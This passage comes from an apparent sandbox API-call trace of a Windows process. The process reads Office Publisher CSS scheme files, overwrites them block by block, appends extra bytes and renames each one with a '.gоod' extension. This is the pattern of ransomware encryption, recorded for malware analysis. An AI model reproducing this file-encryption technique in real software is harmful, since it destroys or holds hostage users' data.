dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0254.584] GetFileType (hFile=0x85c) returned 0x1 [0254.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0254.584] GetFileType (hFile=0x85c) returned 0x1 [0254.584] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1edba [0254.584] WriteFile (in: hFile=0x85c, lpBuffer=0x3a21ec8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3a21ec8*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0254.585] CloseHandle (hObject=0x85c) returned 1 [0254.585] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", lpFilePart=0x0) returned 0x4a [0254.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0254.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0254.586] GetFileType (hFile=0x85c) returned 0x1 [0254.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0254.586] GetFileType (hFile=0x85c) returned 0x1 [0254.586] ReadFile (in: hFile=0x85c, lpBuffer=0x3a24190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x3a24190*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0254.814] CloseHandle (hObject=0x85c) returned 1 [0254.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", lpFilePart=0x0) returned 0x4a [0254.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0254.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0254.815] GetFileType (hFile=0x85c) returned 0x1 [0254.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0254.815] GetFileType (hFile=0x85c) returned 0x1 [0254.815] WriteFile (in: hFile=0x85c, lpBuffer=0x3a135a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x3a135a0*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0254.865] CloseHandle (hObject=0x85c) returned 1 [0255.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", lpFilePart=0x0) returned 0x4a [0255.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS.gоod", lpFilePart=0x0) returned 0x4f [0255.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0255.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x941f09e1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1edca)) returned 1 [0255.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0255.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css.gоod")) returned 1 [0255.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", lpFilePart=0x0) returned 0x4a [0255.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0255.088] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css"), fInfoLevelId=0x0, lpFileInformation=0x3b9a7f8 | out: lpFileInformation=0x3b9a7f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f2da)) returned 1 [0255.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0255.089] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", lpFilePart=0x0) returned 0x4a [0255.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0255.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0255.089] GetFileType (hFile=0x768) returned 0x1 [0255.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0255.089] GetFileType (hFile=0x768) returned 0x1 [0255.089] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0255.090] ReadFile (in: hFile=0x768, lpBuffer=0x3b9ac20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3b9ac20*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0255.090] CloseHandle (hObject=0x768) returned 1 [0255.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", lpFilePart=0x0) returned 0x4a [0255.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0255.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0255.091] GetFileType (hFile=0x768) returned 0x1 [0255.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0255.091] GetFileType (hFile=0x768) returned 0x1 [0255.091] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1f2da [0255.091] WriteFile (in: hFile=0x768, lpBuffer=0x3b9c188*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3b9c188*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0255.092] CloseHandle (hObject=0x768) returned 1 [0255.092] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", lpFilePart=0x0) returned 0x4a [0255.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0255.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0255.092] GetFileType (hFile=0x768) returned 0x1 [0255.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0255.092] GetFileType (hFile=0x768) returned 0x1 [0255.092] ReadFile (in: hFile=0x768, lpBuffer=0x3b9e450, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x3b9e450*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0255.121] CloseHandle (hObject=0x768) returned 1 [0255.121] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", lpFilePart=0x0) returned 0x4a [0255.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0255.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0255.121] GetFileType (hFile=0x768) returned 0x1 [0255.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0255.121] GetFileType (hFile=0x768) returned 0x1 [0255.121] WriteFile (in: hFile=0x768, lpBuffer=0x3b9d1a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x3b9d1a0*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0255.121] CloseHandle (hObject=0x768) returned 1 [0255.122] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS", lpFilePart=0x0) returned 0x4a [0255.122] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS.gоod", lpFilePart=0x0) returned 0x4f [0255.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0255.122] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x944790d5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f2ea)) returned 1 [0255.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0255.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css.gоod")) returned 1 [0255.123] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", lpFilePart=0x0) returned 0x4a [0255.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0255.123] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css"), fInfoLevelId=0x0, lpFileInformation=0x3c1b8a0 | out: lpFileInformation=0x3c1b8a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ff56)) returned 1 [0255.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0255.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", lpFilePart=0x0) returned 0x4a [0255.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0255.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0255.125] GetFileType (hFile=0x768) returned 0x1 [0255.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0255.125] GetFileType (hFile=0x768) returned 0x1 [0255.125] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0255.125] ReadFile (in: hFile=0x768, lpBuffer=0x3c1bcc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3c1bcc8*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0255.266] CloseHandle (hObject=0x768) returned 1 [0255.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", lpFilePart=0x0) returned 0x4a [0255.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0255.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0255.266] GetFileType (hFile=0x768) returned 0x1 [0255.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0255.266] GetFileType (hFile=0x768) returned 0x1 [0255.266] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1ff56 [0255.267] WriteFile (in: hFile=0x768, lpBuffer=0x3acf128*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3acf128*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0256.015] CloseHandle (hObject=0x768) returned 1 [0256.747] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", lpFilePart=0x0) returned 0x4a [0256.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0256.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0256.748] GetFileType (hFile=0x768) returned 0x1 [0256.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0256.748] GetFileType (hFile=0x768) returned 0x1 [0256.748] ReadFile (in: hFile=0x768, lpBuffer=0x3eebb50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x3eebb50*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0256.797] CloseHandle (hObject=0x768) returned 1 [0256.797] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", lpFilePart=0x0) returned 0x4a [0256.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0256.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0256.797] GetFileType (hFile=0x768) returned 0x1 [0256.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0256.797] GetFileType (hFile=0x768) returned 0x1 [0256.797] WriteFile (in: hFile=0x768, lpBuffer=0x3eea8a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x3eea8a0*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0256.797] CloseHandle (hObject=0x768) returned 1 [0256.798] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS", lpFilePart=0x0) returned 0x4a [0256.798] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS.gоod", lpFilePart=0x0) returned 0x4f [0256.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0256.798] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9546aade, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1ff66)) returned 1 [0256.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0256.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css.gоod")) returned 1 [0256.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", lpFilePart=0x0) returned 0x4a [0256.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0256.799] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css"), fInfoLevelId=0x0, lpFileInformation=0x3f6e270 | out: lpFileInformation=0x3f6e270*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab4f04e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab4f04e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f998)) returned 1 [0256.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0256.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", lpFilePart=0x0) returned 0x4a [0256.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0256.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.932] GetFileType (hFile=0x828) returned 0x1 [0256.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0256.932] GetFileType (hFile=0x828) returned 0x1 [0256.932] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0256.932] ReadFile (in: hFile=0x828, lpBuffer=0x3c5fa90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3c5fa90*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0256.933] CloseHandle (hObject=0x828) returned 1 [0256.933] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", lpFilePart=0x0) returned 0x4a [0256.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0256.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.933] 